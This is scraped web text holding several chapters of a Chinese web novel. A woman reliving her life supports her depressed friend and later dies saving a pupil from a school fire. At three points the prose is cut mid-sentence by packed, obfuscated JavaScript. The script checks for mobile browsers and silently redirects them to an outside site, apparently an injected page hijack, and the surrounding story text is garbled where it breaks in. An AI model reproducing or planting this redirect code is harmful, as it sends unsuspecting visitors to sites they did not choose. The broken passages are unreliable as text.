d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952904|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空缺,刚好他的能力匹配,所以我就帮他递了简历。”末了,他又强调:“我是匿名内推的,他纯纯靠自己实力进。” 林舒一听笑了,对刘沐鑫说:“听见没,你是靠自己实力拿到offer的。怎么样,现在觉得心情好点吗?” 刘沐鑫看了陈彦森一眼,眼神中满是感激,他怎会不知道陈彦森这么说是为了维护他的自尊心呢?他搂住陈彦森的肩膀,说:“他啊,不仅招了我,还招了好几个同样是被裁员的人,开会的时候跟我们说,要一起将公司做大做强,让公司有足够的实力可以承担更多社会责任。” 不愧是她喜欢的男人。林舒托着腮看着陈彦森,心想,姐真有眼光。 吃完饭,与李洛诗、刘沐鑫道别后,林舒跟着陈彦森去了他的家,准确说,是他父母的家。 天琅明居,南苑市著名的高档住宅小区,似有一个看不见摸不着的结界,让进入其中的人与外界隔绝起来。 林舒走在幽静的小径上,回头看了看门口的方向,要不是陈彦森一直走在她身旁,她都以为自己穿越到世外桃源了。 陈彦森的家是一栋中式带庭院的别墅,白色外墙青黑色瓦片,屋内亮起暖黄色的灯,古典与现代的碰撞与融合。 “这是我从小到大住的房子,跟爸爸妈妈,还有……”陈彦森的目光落在墙上的全家福,照片中一家四口笑得很开心,两个小男孩紧紧牵着手,能看出关系很好。 “哥哥离开后将近十年里,家里没有人敢提起他,因为只要一提,妈妈就会掉眼泪。他像个禁词,大家都很有默契地不提,似乎不提,这件伤心事就没有发生过。”陈彦森看着照片里的哥哥,陷入回忆,“这几年,父母逐渐接受这个事实,也慢慢走出来了,就把这个全家福重新拿出来挂上。” 林舒陪在他身边一起看着全家福,朝照片中的小陈彦柏挥挥手:“你好,我是林舒,是你弟弟的好朋友。你弟弟啊,现在长成了好优秀的大人,创业开公司,现在公司有将近一百人呢。我现在失业了,打算迟点找不到工作就去他公司扫地。”说着,她用手肘顶了下陈彦森,说道:“就看陈老板愿不愿意了。” “你说什么呢?”陈彦森被她逗笑了。 “在夸你呢——”林舒故意拉长声音。 “那谢谢你哦。”他摸了摸她的头,掌心中的温度沾染在她的头发上,暖暖的。 林舒握住他的手腕,直视他的眼睛,认真地说:“叔叔阿姨都走出来了,那你呢?” “我在努力,目前有所进步。”他也看着她,声音轻柔。 “走,带你去练琴。”陈彦森变被动为主动,反手握住林舒的手腕,领她去琴房。 “可好久没练琴了,感觉双手都不听使唤了。”坐在钢琴前,林舒给陈彦森打预防针。 陈彦森没有说话,用下巴点了下钢琴,示意她先弹。林舒没办法,只好翻开哈农,随意挑了一首练习曲弹了起来。 十分钟后,陈彦森皱眉打断:“林舒,你今天的心绪是飘着的。” 练琴需要耐心,需要有站在地面上的实感。 林舒叹气:“你弹吧,我休息下。”说完,她倒在一旁的沙发上,沙发很软,她稍稍一用力,整个人就陷进去,被沙发包裹住。 陈彦森由着她,自己坐到琴凳上,抬手落指,潜意识自然而然弹的是林舒最喜欢的《花之舞》。 一曲终了,林舒睁开眼睛,“你是不是有个音弹错了,每次到那都错了。” 陈彦森一脸惊喜:“你听出来了!” 林舒翻白眼:“我倒也不至于音痴到这个程度。” “如果哪天我们走散了,再见面时认不出对方了。”他的表情很认真,不似在说笑,“你要记住,弹错这个音的,就是我。” “什么意思?” “这个错音,”他弹了一个音,“就是我们相认的符号。” “你在说什么?”林舒笑了,“你今天怎么有点怪怪的。” “是,我也觉得自己有点怪怪的。”陈彦森跟着笑起来。 35. 第四世(三十二) 按照之前约定的时间,两天后,林舒陪李洛诗到医院,挂的是心理科。 两人坐在诊室外等叫号。叫到李洛诗的名字时,诊室门被人从里面打开,探出一个脑袋:“李洛诗,进来吧。” 是一个五十多岁的女医生,留着微卷的短发,镜片下的眼睛像是会说话。 “好孩子,来,坐这儿。”她语气甚至是有些轻快,似乎自己面对的不是病人,而是一个亲近的晚辈,再亲密一点的话,就像是朋友。 好孩子?李洛诗有些失神。 是在叫她吗?她是好孩子吗?如果她是好孩子,那为什么妈妈要打骂她,将爸爸不回家的原因归于她身上呢? 她向医生讲述自己的情况,并回答医生的问题。在她说话的时候,医生始终注视着她的眼睛,并微笑着频频点头。这个场景,她只有在念书的时候遇到过。 老师在课堂上提出一个较难的问题,没有人举手回答,她不想冷场,便主动站起来回答。在她回答的时候,老师就是这么看着她,欣赏的目光、赞许的微笑、认可地点着头。 她突然知道自己为什么这么用功读书了。 “我好像……很希望得到别人的认可。妈妈的认可、老师的认可、同学们的认可,好像都对我很重要。”她对医生说,“就像您现在认真听我说话,我也会不由自主地想,我是不是要表现得更好一些,说得更多更详细。” “妈妈要我听话,我便听话。我不是怕她打我骂我,这些我都不在意,我只是不想她哭了。所以一直以来,我就模仿着社会评价中‘别人家的孩子’成长,遵纪守法、婉婉有仪、成绩优秀、工作优异、结婚生子。” “我只是沿着这条道走,但我不知道我是不是真的想过这样的人生。我去思考,但我发现我已经丧失思考的能力,我想不明白任何事了。” 医生安排了一些量表量体和躯体检查,最后根据检查结果,确诊李洛诗患上抑郁症。 “好孩子,是轻度的。”医生语气很轻快,让人感觉她是真心为李洛诗感到高兴。她说:“你现在的情况可以不吃药,平时要注意运动、增加社交、学会倾诉,还可以做一些有仪式感的事情。另外,我建议你试试心理咨询,你妈妈也来的话效果会更好。” “妈妈也要来?”林舒和李洛诗异口同声。 医生:“你的心结是妈妈,最好也让她参与进来。我可以给你推荐一个医生,你带上你妈妈去找她,她负责家庭咨询课程,比较适合你这种情况。” 李洛诗:“可我下次还想找您……” “谢谢你的信任。”医生笑着解释,“我是对个人,我推荐的那个医生是对家庭的,她也是一个很专业的医生,你会喜欢她的。” 两人向医生道谢后出来,李洛诗叹了口气说:“不用想了,她不会来的。” “我跟她说吧,你坐在一边就行。”林舒说。 李洛诗:“得了吧,她肯定会说‘你就是无病呻吟’!” “你就是无病呻吟、矫情!”李洛诗妈妈李静曦猛然一拍桌子,吓得两个女孩的心都震了一下。 “你了解下抑郁症是什么再说吧。”李洛诗将从网上打印的《抑郁自我护理手册》放在她面前,“是一个叫周峻伟的演员分享的,他说这是为那些没有条件寻求心理干预的人准备的。但是妈妈,医生已经告诉我问题出在哪了,我不想只通过看书来治疗。” 李静曦翻开看了看,语气有点不耐烦:“我们那个年代比你们苦多了,吃不饱穿不暖的,父母哪有时间管你?生你出来给你一口饭吃就任由野蛮生长,不还是什么病都没有。你们啊,就是过得太舒适、太幸福了。” “你……”李洛诗气得一时语塞,喘了口气才接着说:“你以前那样打我、骂我,早就超过了棍棒出孝子的概念了你知道吗?你凭什么这样对我?凭什么将你失败的婚姻归到我头上来?我只是被你生出来了而已,我又做错了什么?” “我一直这么努力地做一个乖女儿,我什么都不要,我只是想要你看我一眼,对我笑一下,或者夸我一句,仅此而已。我就是想得到你认可而已。”积压多年的不满终于在这一刻找到宣泄的出口,她将一直不敢说的心里话一口气说了出来。 一向乖巧的女儿突然声泪俱下奋起反抗,这让李静曦一下子熄了火,瞪大眼睛看着她,惊讶于她的反应和想法。 林舒抽了几张纸巾给李洛诗,又给她倒了杯水,然后对李静曦说:“阿姨,我可以说两句吗?” 李静曦的目光始终落在女儿身上,没有回答,林舒当作是默许,自顾自地开始说:“我曾经做过一个梦。梦里是很普通的一个夜晚,我刚加完班,走在回家的路上,当时还发生了一个小插曲的,但我很幸运地大难不死逃过一劫,所以我心情很好。就是在这样的情况下,我接到洛诗的电话。” “她说,她好疼好疼……她不知道会这么疼……但幸好,马上就要结束了。”她开始哽咽,“我一直喊她的名字,想马上去到她身边,但上天好像在故意跟我开玩笑,竟然一辆空的出租车都没有。” “我当时特别着急,也特别懊悔。我恨自己怎么就忽视了她的情绪,我是她最好的朋友,我怎么可以忽视她?我一直在想,也许她已经在谷底徘徊了许久,她不是没有向上的勇气,而是在一次又一次的坠落后逐渐失望,不再相信自己会变好。与其被击碎希望,不如就自己亲手碾碎吧。” 不知什么时候开始,李静曦已将目光移向她,沉浸在她的诉说中,紧张地问:“然后呢?” “她好像笑了一下,说早知道就该吃一顿炸鸡呢。” “然后呢?”这次,是李洛诗问。 林舒看向她,缓缓道:“然后我醒了,我回来了。” 屋子里一下子变得很安静,没有人说话,只有一深一浅的呼吸声徐进徐出。 呼吸代表生命,只要人还活着就还有希望。 李洛诗深深吸了一口气,用力吐出,她向李静曦伸出手,就像小时候还没学会走路,她摔倒后自然地向妈妈伸出手一样。 她说:“妈妈,我想要好起来。而我现在需要你,非常非常需要你。” 李静曦愣住,呆呆地看着这只手。不知从什么时候开始,这只小小手变大了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她记得妈妈每天晚上下班回来,都会先哄她睡下,然后开着昏暗的台灯串珠子,劳神且钱少的兼职,但蚊子腿也是肉,能挣一分是一分; 女孩子在十二岁前身高长得飞快,同学们都穿上了新款校服,只有她穿着不太合身的旧款校服,妈妈抽出叠得皱巴巴的钱塞到她手里,说:“别人有的我女儿也要有”; 小时候的她很内向,被班上性格活跃的女同学盯上,诬陷她偷钱,在老师都不信她的情况下,妈妈牵着她的手,坚定地说:“我女儿不会偷东西,有证据你就拿出来。” 亲情总是很矛盾,你会失望会生气,会丢下狠话会想要远离,但你难以彻底割舍。 崩塌再重塑,世间母女关系大抵如此。 孩子就是这样的,内心永远对妈妈有期待。 “那——”李洛诗眼含热泪,往前走一步,将自己的手放在李静曦的手里,“我接受你的道歉。” 很特别的触感,李静曦再一次感受到了那天在产房里的心情。 那天下午阳光很好,她看着这个孩子,紧紧握住她的手。 就像现在一样。 36. 第四世(三十三) 李洛诗送林舒下楼,走去车站的路上,她突然问:“林舒,你梦里的我,最后跟你说了什么?” “炸鸡。”林舒故意用俏皮的语气回答她。刚刚在那个情境下,她是脱口而出,现在意识回归,她开始后悔自己说了本没必要说的话。 “炸鸡。”她重复一遍。她刚哭完,脸上的泪痕还在。她眨了眨干涩的眼睛,说道:“那不是一个梦,对吗?” 林舒心头一抖,刚想说什么掩饰一下,却被对方抢先说:“所以你那天午睡醒来,说什么都要拽我下楼请我吃炸鸡。” 她居然还记得,这明明是这么小的一件事。 “是不是很惊讶我为什么会记到现在?”李洛诗冲她一笑,“这对我来说不是一件小事。” “那是我第一次从外人身上无条件地获得善意。” “后来,通过你,我认识了刘沐鑫;又因为你,我对老师这个职业感兴趣,并在支教后更坚定自己的想法。你一直督促我学习,鼓励我去考教师编,去心仪的学校做感兴趣的工作。直到现在,你陪我去看心理医生,陪我劝妈妈。”李洛诗看着林舒,一字一句地说,“你一直在修正我的人生。” “林舒,你已经做到了,我看到我的道路逐渐明晰起来了。” 刚下过雨,地面有些湿漉漉的,鞋子踩在地面上会溅起小水花,对于小昆虫来说就像是回家推开门突然响起了礼炮声,彩带哗啦啦落下。 微风裹挟着空气中的潮湿吹来,有雨后地面的温热,有雨后青草的清新,是夏季的味道。 李洛诗:“可是林舒,你的精力只有这么多,全都花在别人身上了,那你自己呢?” 自那个午后醒来,林舒便不再是林舒了。张绵绵、楚卿、李星星、刘千语,刘沐鑫、陈彦森、李洛诗……她一直为着别人,从未考虑过自己。 “我答应你,只要过了12月20日,一切都会好起来。”她近乎呓语,重复着,“会好起来的。” 李洛诗没再说话。就像没有问为什么她会提前知道海莲市孕妇的命运,也没有问为什么她会提前知道校巴有故障一样,她信任她,便张开双臂任由风自由地穿过身体,不管前路有什么艰难险阻都要陪她闯一闯。 接下来的时间里,两人时常呆在一起,李洛诗辅导林舒准备面试,林舒陪李洛诗和李静曦去看心理医生,这使得两位男士靠在一起,摇头叹气道:“我们是多余的。” 再后来,林舒顺利通过面试,趁着暑期跟李洛诗学习怎么备课,怎么写教案,忙碌但充实得让人心安。 李洛诗和李静曦每周去上一节家庭课,负责家庭课的医生温柔、健谈、专业,母女俩的关系比之前好多了。 李洛诗的状态也在逐渐好转,一些过去想不通的事情,现在也能静下心思考。她给了自己一些独处的时间,思考清楚后,与刘沐鑫约定结婚的事情顺其自然,只要他们还在一起就不怕困难。 日子在忙碌中流淌,来到9月2日开学日。 开学第一天,林舒和李洛诗作为值日老师被安排到校门口值日。 这个学期,李洛诗担任二年级一班和二班的语文老师兼一班班主任,林舒则担任一年级一班和二班的语文代课老师。 小学是8:10早读,7:50正是学生最多的时候,他们像约定好一样蜂拥而入,被眼尖的李洛诗揪出两个忘戴红领巾的学生。 李洛诗一手拎一个,批评道:“想糊弄过关?平时我怎么跟你们说的?” 刚刚那群一起进来的学生纷纷回过头来,朝李洛诗做了个鬼脸,接着撒开脚跑进校园。 “这帮孩子。”李洛诗无奈地叹了口气,刚想再说什么,就看见教导主任急匆匆地跑过来。 “李老师、林老师,”他喘着气,额头是细细密密的汗珠,“快到外面去,让孩子们快点进来。” “怎么了?”林舒和李洛诗不明所以。 “南苑一小那边出事了,”教导主任压低声,“有个货车司机在校门口撞了好几个学生,现在那边已经封路了。” 事态严重,林舒和李洛诗来不及震惊,连忙跟着教导主任一起跑到校门外,一边招呼着孩子们赶紧进来,一边留意来往车辆。其余老师分成两批,一批到校门外跟林舒三人一起,另一批则到各班巡视,清点人数。 十分钟后,众老师得知全校学生到齐,都松了口气。 今天是开学第一天,也是林舒新工作的第一天,她忙得脚不沾地的,一直到晚上七点才闲下来。 她靠在李洛诗的办公位上,揉了揉脖子,有气无力道:“我当初真不该怂恿你去做老师,真的太累了。” 没有得到回应。林舒瞄了李洛诗一眼,见她低头看手机看得入神。 蓝底白字的图片,上面写着四个大字:【警情通报】。 【2024年9月2日8时45分,南苑市宝宁路发生一起货车碰撞行人的交通事故,致11人经抢救无效死亡(其中家长4人,学生7人)、2人危重,16人受伤住院治疗(暂无生命危险)。公安机关组织民警迅速到场,将嫌疑人钟某(男,52岁)当场控制,事故原因正在调查中。】 “11条人命,其中还有7个孩子呢。”李洛诗仰起头,对上林舒的目光,“今天本来是开开心心的一天。” 林舒揉了揉李洛诗的头,挽着她的手臂,“别多想,我们去吃饭吧。” 李洛诗似是没听见,自顾自地说:“我看别人说,这个货车司机是故意的,不然不会这样反复前进后退。他自己过得不如意,就对比他弱小的人下手!”她越说越气,音量不自觉提高。 “别想太多,坏人自有法律制裁。”林舒重复道,“我们去吃饭吧。” “你不生气吗?”李洛诗问。平日里,她愤世嫉俗,对不公之事打抱不平,今天怎么这么冷静? “已经发生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975424|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事我改变不了。而且,你现在不宜情绪激动,来,深呼吸——”说着,林舒做了个深呼吸。 对方正关心着自己,李洛诗也不再追问,跟着做了一个深呼吸:“走,带你去吃我平时最爱吃的米粉。” 林舒工龄十二年了,在工作中当然也会遇到关系不错的同事、合作方,但她们毕竟相识于工作中,人与人之间永远有工作这一纽带相连,无法真正做到交心与心无芥蒂。但李洛诗不一样,她是自己安心交付后背的好友、战友,工作中有这样的一个人在身边,空气都变甜了。 当然,林舒在接下来几个月里遇到的难题还是不少的,比如下班后接到家长电话说孩子放学没回家,饭也来不及吃跟班主任一起去找,最后在派出所里找到玩到忘记回家的学生;比如一个学生上美术课偷吃了蜡笔,她看到绿油油的嘴巴脑袋嗡一声响,赶紧抓着学生去洗手池…… 所幸都是虚惊一场,事情最终都得到解决。孩子们只是生性好奇贪玩,品性并不坏,懂得尊师重道,课间会甜甜地唤她“小林老师”,给她分享糖果。 在朗朗书声中,在笔尖流出的墨水中,在添上的长袖外套中,在落下的树叶中,季节悄然更替。 林舒穿着宽松的毛衣,宽大的围巾将她的下半张脸遮得严严实实的。她压了压围巾探出头来,嘬一口热气腾腾的豆浆,任由披散着的长发被冷风吹起。空气中弥漫着一种懒洋洋的、随性的寒气,路上行人都走得不快,生活仿佛慢了一拍。 “天气一冷,我就觉得很幸福。”她边从从包里取出课本,边对电话那头的陈彦森说。 “为什么呢?”陈彦森的声音很轻,像此刻照在林舒身上的暖阳一样。 “我也说不清,就觉得大家都慢下来,那我也可以慢慢来,不必那么着急,也不必感到焦虑。”林舒的视线落在台历上,接着将它反扣在桌面。 “事情可以慢慢做,下班还是得赶快。”陈彦森说,“今天早点下班,我们去吃火锅?” “今天不行,我得加班呢。”林舒张了张嘴,还是将“明天”二字吞下。 “行,工作重要,我靠后。”有点醋醋的味道,“那我先挂了。” “等、等一下,我不是这个意思。”林舒笑道,“你要记住按时吃早餐,多穿衣服,不要总熬夜,知道吗?” “我记不住的,”陈彦森扭捏,“你得每天跟我说才行。” “不理你了,我要去看早读课了。” “去吧,再忙也要注意休息。”陈彦森叮嘱。 挂掉电话后,陈彦森看着桌上的台历。这一页的数字19被红色记号笔圈起,骤眼望去,只看得见这一抹触目惊心的红。 买到这本24年台历后,他第一时间将前11个月的月历纸撕掉,唯独留下12月。 12月19日,是她一直忌惮的日子,这大概也是她今天反常的原因。 不能让她独自面对。 37. 第四世(三十四) 因为下周组内老师参加比赛,最近教研组内一起教研,每天都要加班。 没想到呀没想到,林舒心想,上一世经历这段时间时,是在广告行业加班做投标,没想到转到教育行业,这段时间还是这样加班。大概是她命中带加班吧。 这一世余嘉城不会出现,还会有其他人出现吗? 这一世,她能活下来吗? 她一直忙到晚上十一点半,回办公室收拾完东西,揉着酸疼的脖子坐下。 “林老师,你还不走吗?”一起加班的其中一个老师走到门口,见她还没走,停下来问。 “我待会走,先休息一下。”林舒笑了笑。 “那行,你早点走啊。” “拜拜。” 等老师们都走后,林舒将办公室的前后门和窗户都锁上,坐在办公桌前,静静看着挂在墙上的钟。 23:40、41、41……49…… 分针走了一圈,她紧张得不会呼吸,心脏砰砰直跳直击耳膜,捏着美工刀的手紧了紧。 分针又走了一圈,23:51。 没有意外发生,她这是熬过第一关了? 熬过第一世和第二世的死亡时间,她还要熬过第三世的死亡时间——她记得当时做完笔录是00:38,那么她的死亡时间大概是00:40。 她必须要坐在这里,等到这个时间节点来临。 在这一天来临之前,她想了很多,她应该要如何经历这两个时间节点?在哪?跟谁一起? 最后她发现,无论她跟谁一起度过,对方都可能会受她牵连陷入危险中。她独自一人面对是最好的。 学校里到处都有监控,办公室内也有监控,这是最佳场所,即使她不幸身死,活着的人也能帮她抓住凶手为她讨回公道。 还有49分钟。 她深吸一口气,闭上眼睛,没有看到反扣在桌上的手机屏幕亮起又熄灭。 00:30,她睁开眼睛,不由得屏住呼吸,眼看六路耳听八方,警惕一切动静。 四周很安静。一分钟、两分钟、三分钟…… 00:40,她的心一紧。 一秒、两秒、三秒……她不敢分神去看时间,只能在心中默念:五十八、五十九、六十。 一分钟过去,第二个死亡节点也过去了。 她松了口气,这才发现自己的后背一片潮湿。 精神高度集中之后突然松掉紧绷着的弦,弦会回弹,打在身上生疼。 她站起身,关掉台灯,拧开办公室大门的锁,寒风瞬间灌入,将她的头发和衣服吹起,这让她瞬间清醒,也终于有了劫后余生的实感。 她这次真的活下来了。 她慢慢走出校门。 “林舒。” 这声音太熟悉了,林舒不用看都知道是谁。 校门侧边的树下,修长的身影斜斜靠在车门边。身穿暗色系西装,没有扣上扣子的西装外套随意敞着,里面穿的是白衬衫,没有打领带,许是见完客户就取下来了。 树影落在他身上,他几乎隐在黑暗中,自然也看不到他的表情。 “你怎么来了?”林舒很惊讶,她没想到这个点他会出现在这。 他朝她一步步走来,树影在他身上散开,他的脸逐渐清晰可见。 “来接你下班。”他眼眸一弯,眼底波光微转,那说不清道不明的情绪稍纵即逝。 “怎么来了也不告诉我一声?”林舒心疼得忍不住责备,“这么冷的天,也不在车里等,冻坏了吧?” “我不冷,我有法宝。”陈彦森握住她的手腕,塞进上衣口袋里,“暖吗?” 一股暖意瞬间将她的手包围住。 暖,很暖。 指尖碰到沙质的物件,她问:“暖手袋?” “林老师真聪明。”陈彦森从口袋中取出暖手袋放在她手心里,拉开车门,“不知林老师是否愿意赏脸,给我送你回家的机会呢?” 现在已接近凌晨一点,附近的文具店和小吃店早已关门,冷风吹着卷帘门发出哐哐的声音,马路上的宣传单也被刮得飘起来,他的邀请在这冷清清的夜里显得格外动人。 林舒冲他点点头,坐进车里。 两人一路无言。陈彦森偷看了她几次,见她斜斜靠着,脸上写满疲惫。 车子在家楼下停下,林舒解开安全带,小声道了声谢,打算开门离开,突然手腕处多了一道力。 她感到意外和困惑,回过头。 “你还好吗?”陈彦森眼睛里满是担忧,“我看到其他老师在一个小时之前就出来了。你不接我电话,保安也不让我进去,我联系不上你。” “我还有一些工作没做完,就留下来了。”她拍了拍他的手背,“放心,我没事。” 他已为她承受了太多,既然危机已经解除,那就让一切都过去吧。 他一直定定看着她,过了良久,才松开她的手,轻声道:“很晚了,快回家吧。” 林舒回到家里,爸爸妈妈都睡着了,她蹑手蹑脚走进房间放下东西。夜间风大,吹得窗帘啪啪响,她走过去想把窗户关上,却在伸手的那一刻定住了。 黑夜里,安静的小区内部路上,停着一辆车,车子没有开灯,骤眼望去不会注意到。车前站着一个人,正仰头看向她家的方向。 “陈彦森,”她惊呼,声音划破寂静的夜,“你怎么还在?” 楼下的男生挥了挥手,食指放在嘴边做了个“嘘”的动作,接着晃了晃手机。林舒连忙拿起手机,接通电话。 “陈彦森。”这次她压低声。 “你快睡觉吧,”他的声音轻轻的,带着风声,随着电流一起钻进她的耳朵里,“我就在这陪着你。” “外面天太冷了,你快回去吧。” “今晚睡不着了,”他轻笑,“我还等着七年之约呢,我要听到你亲口对我说。” 他果然还记得。 “陈彦森……” “乖,快去睡吧。”他朝她挥挥手,咧嘴笑了。 第二天她醒来,第一件事是跳下床赶到窗边,见到车子还停在昨天的地方,但是人不在。她以最快的速度洗漱好,抓起包包冲出家门前还搂着丁敏亲了一口。 丁敏:“这一大早的,是有什么喜事?” 林舒笑着说:“我好好地陪在你身边,不就是天大的喜事吗?” 她蹬蹬蹬跑下楼,推开单元楼的大门往外冲,差点与迎面走来的人撞了个满怀。她定了定神,抬头发现竟是陈彦森。 “你还在。”下楼就见到他,她是又惊又喜。 “给你买早餐去了。”陈彦森一手晃了晃手中的袋子,一手捏着她的肩膀,“走吧,送你去学校。” 林舒坐在副驾,一边喝豆浆一边偷瞄陈彦森。 这男人可真好看,这侧颜,这鼻梁,这睫毛,阳光歇在他的脸上都这么恰到好处。正当她望得入神,男人突然侧过头来,四目相视,她耳朵一热,慌忙别过头。 “你偷看我。”他在红绿灯前停下,毫不客气地点破。 “我没有。”她嘴硬。 “你就是偷看我。” “我没有。” “我喜欢你。” “我……嗯?”林舒愣住,有点不相信自己的耳朵,“你说什么?” “我说,”陈彦森看着她的眼睛,真诚、缓慢地说,“我喜欢你。” 那一刻,红绿灯停止倒数,行人停止步行,路口的车辆停止行驶,路边的花朵停止绽放,世间万物都静止了,只剩下他们两人。 这些年来,他虽然从未将这四个字说出口,但他的行动早已替他言语。她知道他一直在等,等她做好准备,等她愿意再近一步,等七年后的今天。 无论哪一世,她遇到的陈彦森都是如此热烈、赤诚地爱着她、尊重她、守护她。 下车前,她说:“今晚,我们去吃火锅吧。然后……我有话要对你说。” “好,我来接你下班。”他一晚没休息好,但是看起来精神很不错,整个人神采飞扬的。 死亡节点已过,喜欢的人真情流露,林舒心情也很好,与陈彦森挥手作别后,迈着轻盈的步子走进校园。 有所期待的时候,时间会过得特别快。下午三点,林舒上完最后一节语文课,回办公室收拾东西准备下班。 “哎哟我的林老师——”下一节是班会课,李洛诗别着小蜜蜂扩音器,人都走到门口了还折回来逗她,“今天看起来心情很好啊。” “对呀,我要准备下班啦。”林舒弯起的嘴角怎么都下不去。 “听刘沐鑫说,今天陈彦森罕见地没有去上班,这真是奇迹,他可是风雨无阻365天都要上班的事业狂啊。”李洛诗用手肘撞了撞林舒,“怎么,你终于点头啦?” “看你这话说的,”林舒纠正道,“我们是经过深思熟虑,互相尊重……” 李洛诗打断她:“得了吧,你去街上随便抓个人问一下,这个社会还会有谁等一个人等九年的?也就陈彦森了。” 林舒刚想说什么,突然听见外面传来骚乱的声音,还夹杂着孩子的哭声。两人对望一眼,立即丢下手中的东西跑出去,一出办公室就闻到一股浓浓的烧焦味。 “完了,着火了。”李洛诗的声音都变了,加快脚步。 声音是从二楼传来的,二楼正是二年级所在楼层,她任教的两个班级都在这个楼层。 办公室在四楼,她们顾不上冬天突然起步开跑会脚疼麻痹,两步并作一步,借着惯性往下跳,以最快的速度来到二楼。 二楼的走廊上已全是浓烟,要拼命睁大眼睛才能勉强看清路。早一步到的老师高声喊着“弯腰,捂好口鼻,一个跟着一个不要拥挤”,安排学生们有序下楼。 “起火点是一班的方向,我得过去看看。”周围环境很吵,李洛诗提高音量,“林舒,你带着孩子们下去。” “不行,你自己过去太危险了。”林舒拉住她。 “我就去看一眼,如果还有孩子在里面我一辈子都不安心。”李洛诗说,“你快去操场,清点各班人数,看有没有少了学生。” 林舒拗不过她,只好说:“你注意安全,不要硬来。” “放心吧。”李洛诗说完,往一班方向跑去。 林舒站在楼梯口,浓烟呛得她眼泪直流,她拼命忍住不适, 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她挥了挥手,趁着烟雾散开的那一刹那瞥见正在不停泼水的两人,便眼疾手快抓住离她最近的李洛诗,将打湿的围巾捂住她的口鼻,喘着气问:“李星星呢?” 李洛诗一惊:“你怎么回来了?!很危险,快下去!” 林舒不理会,继续问:“李星星呢?” 夏老师听到声音,赶紧小跑过来,刚好听见林舒提问,便回答:“还在杂物房里面。” 林舒这才定睛一看,发现浓烟是从楼梯口的杂物间飘出来的,火势之大只是靠近一点都觉得肌肤发烫。李洛诗和夏老师人手一个灭火器,因为靠近着火点,两人的脸都发红,不断咳嗽,精神状态很不好。 她屏住呼吸,依稀听见消防车的警报声,听起来还有一段距离。来不及了,火势实在太大,小小灭火器根本起不了作用。她当机立断脱下外套,冲到洗手间里湿水,而后披上就往里冲。 李洛诗被她的举动吓呆,条件反射伸手想去抓她的衣服但没抓住,因恐惧而不自觉提高音量:“林舒,你要做什么?” 林舒已站在杂物间门前,身前的火将她整个人照得通红,她语速很快但人很冷静:“我要去救她。” “不行,”李洛诗想向前,却被火惊得不敢前进,声音里带着哭腔,“林舒,你会死的。” 夏老师也在一旁着急地说:“是啊林老师,这消防员马上要到了,救人灭火的事情还是交给专业人士做吧。” 林舒依旧很冷静,她说道:“她是李星星。” 2017年,她去世。 2024年,她刚好七岁。 就是这么巧,年龄、姓名和性别都能对上。 七年前她来迟了,这一次她希望一切还来得及。 她毅然转过身,跨过横在门口的木板,踏入火场内。 杂物间其实是一间空置的教室,里面有两个书柜摆着无人认领的课本和书籍,大扫除用的抹布、扫把等,还有一些杂七杂八的东西,都是易燃物品,这也许就是为什么一旦起火就迅速蔓延开来,难以扑灭。 林舒脱下湿透的外套,一边扑火一边喊:“李星星,李星星,你在吗?” 她一张嘴,浓烟瞬间涌入,马上被呛得剧烈咳起来,但她仍然不放弃,不断用外套拍打着着火的桌椅,试图再往里走。 “李星星,李星星,林老师带你出去。” 她的衣摆、裤脚和发尾都沾上了火苗,但她顾不上了,继续往里走。 “老师……” 很虚弱的声音。 “李星星!”林舒眼睛一亮,立刻向声音传来的方向走去,可是书柜横在中间挡住她的去处,她想要去挪开书柜,手刚碰上书柜,滋一声,手掌烂了一大片。 “老师。”女孩子的声音很小,有气无力的。 “别怕,别怕,林老师马上过来,你再等一等。”林舒拿衣服垫着手,使劲推着书柜。书柜上的火焰顺着衣服蔓延到她的手臂上,她忍着剧痛继续推,可是书柜依旧纹丝不动。 就在她顾着推书柜的时候,突然头顶传来轰的一声,她还没来得及抬头看是什么发出声音,就被从天而降的重物砸到在地上。 是,是什么……她挣扎着想支起身子,奈何压在身上的东西太重了,她根本无法动弹。 “李星星……你是李星星吗?” “我,我不告诉你。”女孩子的声音非常微弱,似是用尽力气艰难吐出,“林老师,你要好好活下去。” 林舒的手指动了一下,一行泪自眼角流下。 还是还没来得及赴陈彦森的约,对他说出七年前就想说的话。 故事的开始,以年级文科第一的高考成绩考进南苑大学,她有无比疼爱她的父母,有很好的朋友,有喜欢的人,有待她很好的上司。她守着最好的朋友,努力修正她的人生,希望可以救下她;她一刻没有停歇,尽心尽力做好事积德,见到被帮助的人露出笑脸感到无比幸福。 故事的结尾,她永远留在这场火里。 38. 第五世(一) 这是她第四次推开亡魂服务中心这扇门了。 林舒站在门前,深吸一口气,推开木制大门,门上的风铃发出叮铃铃的声音。 “婆婆。” 服务台前空空如也,哪有老婆婆的身影? “婆婆?”林舒又喊了一声。 什么东西被搭在她的肩膀上,老婆婆的声音从身后传来:“穿上。” 林舒伸手一摸,是一件外套。自从她上次来这里的时候哭得一抽一抽的,老婆婆给她倒了一杯水之后,两人关系比一开始人机对话亲近一些。林舒轻轻道了声谢,穿上外套。 